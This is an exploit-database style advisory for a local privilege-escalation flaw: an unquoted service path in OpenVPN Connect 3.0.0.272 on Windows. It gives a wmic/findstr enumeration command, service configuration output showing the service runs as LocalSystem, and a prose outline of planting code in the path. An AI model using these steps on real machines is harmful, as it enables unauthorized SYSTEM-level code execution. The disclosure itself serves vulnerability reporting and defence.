Openvpn connect 3.0.0.272 agent_ovpnconnect unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-04 | Type : local | Platform : windows
This exploit / vulnerability Openvpn connect 3.0.0.272 agent_ovpnconnect unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: OpenVPN Connect 3.0.0.272 - 'ovpnagent' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-03
# Vendor Homepage: https://openvpn.net
# Software Link : https://openvpn.net/downloads/openvpn-connect-v3-windows.msi
# Tested Version: 3.0.0.(272)
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """

OpenVPN Agent agent_ovpnconnect agent_ovpnconnect C:\Program Files\OpenVPN Connect\agent_ovpnconnect_1559309046710.exe Auto

# Service info:

C:\>sc qc agent_ovpnconnect
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: agent_ovpnconnect
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\OpenVPN Connect\agent_ovpnconnect_1559309046710.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenVPN Agent agent_ovpnconnect
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.